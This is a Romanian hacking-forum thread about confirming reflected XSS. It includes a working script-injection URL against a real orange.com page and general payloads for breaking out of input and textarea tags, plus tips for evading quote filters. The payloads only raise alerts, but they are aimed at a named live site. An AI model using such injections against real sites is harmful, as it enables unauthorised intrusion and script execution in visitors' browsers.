Intrebare despre xss

[malsploit]

avem linkul urmator:

Fondation Orange

Daca punem un vector xss in link obtinem :

Fondation Orange

Nu apare nicio alerta, dar se observa modificari in DOM, asta inseamna ca este vulnerabil site-ul?

am incercat cu mai multi vectori.Acelasi efect.

[poq]

Fondation Orange

Este.

[ROFL]

http://www.orange.com/sirius/fondation_orange/index.php?lang="><script>alert(0)</script>

Uita-te si tu in sursa:

http://www.orange.com/sirius/fondation_orange/index.php?lang=cacat

Cauti cacat in sursa si vezi unde trebuie sa inchizi un tag deschis etc.

[totti93]

Cum zice si ROFL, vezi in ce tag iti insereaza, apoi il inchizi. De ex:

<input value="$Val" />

Il inchizi cu:

"/><script>alert(1);</script>

La fel si cu:

<textarea>$Val<textarea>

Il inchizi cu:

<textarea><script>alert(1);</script>

Si il testezi cu alert(1), nu cu string-uri... Daca vrei neaparat cu string, foloseste String.fromCharCode() sau RegExp /text/ pentru ca poate filtreaza ', "...